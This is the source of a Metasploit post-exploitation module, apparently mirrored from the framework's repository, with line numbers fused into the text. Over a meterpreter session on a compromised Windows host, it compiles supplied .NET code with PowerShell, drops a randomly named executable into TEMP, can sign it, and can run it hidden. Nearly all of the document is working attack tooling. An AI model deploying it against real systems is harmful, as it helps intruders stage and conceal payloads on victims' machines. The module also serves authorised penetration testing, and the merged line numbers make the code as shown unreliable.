Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/powershell/build_net_code.rb
Views: 11788
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6Rank = ExcellentRanking78include Msf::Post::Windows::Powershell9include Msf::Exploit::Powershell::DotNet1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Powershell .NET Compiler',16'Description' => %q{17This module will build a .NET source file using powershell. The compiler builds18the executable or library in memory and produces a binary. After compilation the19PowerShell session can also sign the executable if provided a path the20a .pfx formatted certificate. Compiler options and a list of assemblies21required can be configured in the datastore.22},23'License' => MSF_LICENSE,24'Author' => 'RageLtMan <rageltman[at]sempervictus>',25'Platform' => [ 'windows' ],26'SessionTypes' => [ 'meterpreter' ],27'DisclosureDate' => '2012-08-14',28'Compat' => {29'Meterpreter' => {30'Commands' => %w[31stdapi_fs_stat32stdapi_sys_config_getenv33stdapi_sys_config_getsid34stdapi_sys_process_execute35]36}37}38)39)4041register_options(42[43OptPath.new('SOURCE_FILE', [true, 'Path to source code']),44OptBool.new('RUN_BINARY', [false, 'Execute the generated binary', false]),45OptString.new('ASSEMBLIES', [false, 'Any assemblies outside the defaults', 'mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll' ]),46OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated binary, default random, omit extension' ]),47OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']),48OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider'])49], self.class50)51register_advanced_options(52[53OptString.new('NET_CLR_VER', [false, 'Minimum NET CLR version required to compile', '4.0'])54], self.class55)56end5758def run59# Make sure we meet the requirements before running the script60unless session.type == 'meterpreter' || have_powershell?61print_error 'Incompatible Environment'62return 063end6465# Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either66if client.sys.config.is_system?67print_error 'Cannot run as system'68return 069end7071# End of file marker72eof = Rex::Text.rand_text_alpha(8)73env_suffix = Rex::Text.rand_text_alpha(8)74net_com_opts = {}75net_com_opts[:target] =76datastore['OUTPUT_TARGET'] ||77"#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(rand(8..15))}.exe"78net_com_opts[:com_opts] = datastore['COMPILER_OPTS']79net_com_opts[:provider] = datastore['CODE_PROVIDER']80net_com_opts[:assemblies] = datastore['ASSEMBLIES']81net_com_opts[:net_clr] = datastore['NET_CLR_VER']82net_com_opts[:cert] = datastore['CERT_PATH']8384begin85net_com_opts[:harness] = ::File.read(datastore['SOURCE_FILE'])86script = dot_net_compiler(net_com_opts)87if datastore['Powershell::Post::dry_run']88print_good "Compiler code:\n#{script}"89return90end91rescue StandardError => e92print_error e93return94end9596vprint_good "Writing to #{net_com_opts[:target]}"9798# Execute the powershell script99print_status 'Building remote code.'100cmd_out, running_pids, open_channels = execute_script(script, true)101get_ps_output(cmd_out, eof)102vprint_good "Cleaning up #{running_pids.join(', ')}"103104clean_up(nil, eof, running_pids, open_channels, env_suffix, false)105106# Check for result107begin108size = session.fs.file.stat(net_com_opts[:target].gsub('\\', '\\\\')).size109print_good "File #{net_com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb"110rescue StandardError111print_error "File #{net_com_opts[:target].gsub('\\', '\\\\')} not found," \112" NET CLR version #{datastore['NET_CLR_VER']} possibly not available"113return114end115116# Run the result117if datastore['RUN_BINARY']118cmd_out = session.sys.process.execute(net_com_opts[:target].gsub('\\', '\\\\'),119nil, 'Hidden' => true, 'Channelized' => true)120while (out = cmd_out.channel.read)121print_good out122end123end124125print_good 'Finished!'126end127end128129130